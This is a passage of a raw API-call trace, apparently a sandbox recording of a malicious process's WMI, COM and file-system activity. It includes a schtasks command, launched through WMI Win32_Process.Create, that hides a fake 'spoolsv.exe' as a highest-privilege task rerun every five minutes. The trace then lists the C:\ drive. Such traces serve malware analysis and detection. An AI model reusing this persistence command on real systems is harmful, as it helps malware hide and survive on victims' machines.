riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0160.086] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc5340) returned 0x0 [0160.086] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc5340, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.086] WbemDefPath:IUnknown:Release (This=0x1bcc5340) returned 0x3 [0160.086] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0160.086] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0160.086] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0160.086] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x2 [0160.086] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x1 [0160.086] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0160.086] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0160.086] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f740) returned 0x0 [0160.086] WbemDefPath:IUnknown:AddRef (This=0x1bc3f740) returned 0x3 [0160.086] WbemDefPath:IUnknown:Release (This=0x1bc3f740) returned 0x2 [0160.086] WbemDefPath:IWbemPath:SetText (This=0x1bc3f740, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0160.086] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f8c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0160.086] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f740, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0160.086] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f740, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0160.086] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f740, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0160.086] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3f8c0) returned 0x0 [0160.086] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f740, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0160.087] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f8c0, uIndex=0x0, pszName="root") returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0160.087] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f8c0, uIndex=0x1, pszName="cimv2") returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f740, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f740, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f8c0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f8c0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f8c0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f8c0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0160.087] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f8c0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0160.088] IWbemServices:GetObject (in: This=0x1bc56bc0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbb76f0, ppCallResult=0x0) returned 0x0 [0160.092] IWbemClassObject:GetMethod (in: This=0x1bbb76f0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbb7a60, ppOutSignature=0x1bb7e690*=0x1bbb7dd0) returned 0x0 [0160.092] IWbemClassObject:SpawnInstance (in: This=0x1bbb7a60, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc75c10) returned 0x0 [0160.093] IWbemClassObject:Get (in: This=0x1bc75c10, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272da60*=0, plFlavor=0x272da64*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272da60*=8, plFlavor=0x272da64*=32) returned 0x0 [0160.093] IWbemClassObject:Get (in: This=0x1bc75c10, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272da60*=8, plFlavor=0x272da64*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272da60*=8, plFlavor=0x272da64*=32) returned 0x0 [0160.093] IWbemClassObject:Put (This=0x1bc75c10, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"spoolsvs\" /sc MINUTE /mo 5 /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0160.093] IWbemClassObject:Get (in: This=0x1bc75c10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272daf0*=0, plFlavor=0x272daf4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272daf0*=13, plFlavor=0x272daf4*=32) returned 0x0 [0160.093] IWbemClassObject:Get (in: This=0x1bc75c10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272daf0*=13, plFlavor=0x272daf4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272daf0*=13, plFlavor=0x272daf4*=32) returned 0x0 [0160.094] IUnknown:QueryInterface (in: This=0x1bbb7010, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbb7010) returned 0x0 [0160.094] IUnknown:QueryInterface (in: This=0x1bbb7010, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0160.094] IUnknown:QueryInterface (in: This=0x1bbb7010, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0160.094] IUnknown:AddRef (This=0x1bbb7010) returned 0x3 [0160.094] IUnknown:QueryInterface (in: This=0x1bbb7010, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0160.094] IUnknown:QueryInterface (in: This=0x1bbb7010, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0160.094] IUnknown:QueryInterface (in: This=0x1bbb7010, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbb7018) returned 0x0 [0160.094] IMarshal:GetUnmarshalClass (in: This=0x1bbb7018, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0160.094] IUnknown:Release (This=0x1bbb7018) returned 0x3 [0160.094] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0160.094] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0160.095] IUnknown:QueryInterface (in: This=0x1bbb7010, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0160.095] IUnknown:Release (This=0x1bbb7010) returned 0x2 [0160.095] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0160.095] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0160.095] IUnknown:QueryInterface (in: This=0x1bbb7010, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0160.095] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0160.095] IUnknown:QueryInterface (in: This=0x1bbb7010, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0160.095] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0160.095] IUnknown:AddRef (This=0x1bbb7010) returned 0x3 [0160.095] IWbemClassObject:Put (This=0x1bc75c10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbb7010, varVal2=0x0), Type=0) returned 0x0 [0160.095] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fd40, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0160.095] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0160.095] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0160.095] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0160.095] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0160.095] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.096] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0160.096] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fd40, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0160.096] IWbemServices:ExecMethod (in: This=0x1bc56bc0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc75c10, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bc75ec0, ppCallResult=0x0) returned 0x0 [0160.282] IWbemClassObject:Get (in: This=0x1bc75ec0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272de08*=0, plFlavor=0x272de0c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8fc, varVal2=0x0), pType=0x272de08*=19, plFlavor=0x272de0c*=0) returned 0x0 [0160.282] IWbemClassObject:Get (in: This=0x1bc75ec0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272de08*=19, plFlavor=0x272de0c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8fc, varVal2=0x0), pType=0x272de08*=19, plFlavor=0x272de0c*=0) returned 0x0 [0160.283] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0160.283] GetSystemDirectoryW (in: lpBuffer=0x1a988070, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0160.283] CoTaskMemFree (pv=0x1a988070) [0160.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0160.283] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0160.284] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d8fc0 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x298ba5c0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x298ba5c0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0160.284] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0160.285] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0160.285] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0160.285] FindNextFileW (in: hFindFile=0x1a9d8fc0, 